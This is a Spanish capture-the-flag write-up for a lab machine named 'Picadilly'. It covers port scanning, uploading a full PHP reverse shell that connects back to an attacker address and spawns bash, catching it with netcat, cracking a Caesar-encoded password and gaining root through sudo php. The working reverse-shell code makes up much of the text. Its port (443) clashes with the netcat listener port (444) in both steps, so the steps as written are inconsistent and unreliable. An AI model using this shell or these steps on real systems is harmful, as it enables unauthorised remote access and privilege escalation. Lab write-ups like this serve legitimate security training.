> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/picadilly-write-up.md).

# Picadilly write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/bnvrmDvrAF1xcm2xl2nP" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos**

Utilizamos **nmap** para escanear los puertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/knuwc71ROr8fJ5ysU78I" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) y el 443 (HTTPS) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y nos encontramos con una página de apache por defecto:

<figure><img src="/files/epvWVkdG0p9mOcnKxhSl" alt=""><figcaption></figcaption></figure>

Así que ahora probamos por el puerto 443, así que ingresamos `https://172.17.0.2/` y observamos lo siguiente:

<figure><img src="/files/0dxHypv7Lfn4ZtH7bmyj" alt=""><figcaption></figcaption></figure>

Lo que haremos ahora es subir un archivo PHP malicioso que nos envíe una shell interactiva al ser ejecutado. El archivo tendrá el siguiente código:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>             
```

<figure><img src="/files/HGCsEAZJRkrj69ganxUU" alt=""><figcaption></figcaption></figure>

Una vez subido el archivo vamos a buscar en que ruta se encuentra el archivo con la herramienta llamada **Dirb** con el siguiente comando:

```bash
dirb https://172.17.0.2/  
```

<figure><img src="/files/wztJe7ZzFya1R9JDNaHn" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe la ruta `https://172.17.0.2/uploads/`, así que la ingresamos en el navegador y que está el archivo shell.php que hemos subido.

<figure><img src="/files/m8At7lCKGcynr2MGXGTT" alt=""><figcaption></figcaption></figure>

Así que ahora nos ponemos en escucha por el puerto 444 con **netcat** y hacemos clic en el archivo shell.php para que se ejecute el código malicioso.

```bash
sudo nc -nlvvp 444
```

<figure><img src="/files/i1q8T1pThUydvOMrjNqU" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el siguiente comando para buscar los ficheros que tengan extensión TXT:

```bash
find / -name "*.txt" 2>/dev/null
```

<figure><img src="/files/qbSUqfLpgPHJn2h0RNW7" alt=""><figcaption></figcaption></figure>

Observamos la existencia de un archivo ubicado en `/var/www/picadilly/backup.txt`, el cual contiene lo siguiente:

<figure><img src="/files/HxtzaQLJ4mITxef3rXae" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `mateo` es `hdvbfuadcb`, pero también nos dice que está encriptada en César.

<figure><img src="/files/le5dk2nX0lVEsDCwMfNs" alt=""><figcaption></figcaption></figure>

Esto indica que `easycrxazy` corresponde con `hdvbfuadcb`, pero al probarla no nos funciona, por lo tanto probamos con `easycrazy` y conseguimos iniciar sesión sin problemas.

<figure><img src="/files/o6AaPAGxQwhNva2W0nf0" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario mateo, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/php` como cualquier usuario. Así que vamos a ejecutar el archivo que subimos como usuario root para enviarnos una shell interactiva con privilegios elevados. Así que nos ponemos en escucha por el puerto 444 con netcat con el siguiente comando:

```bash
sudo nc -nlvvp 444 
```

Y ahora ejecutamos lo siguiente:

```bash
sudo /usr/bin/php /var/www/html/uploads/shell.php
```

<figure><img src="/files/psS7nutvZyfdI1wikGlz" alt=""><figcaption></figcaption></figure>

Y ya tendríamos una shell con privilegios elevados.
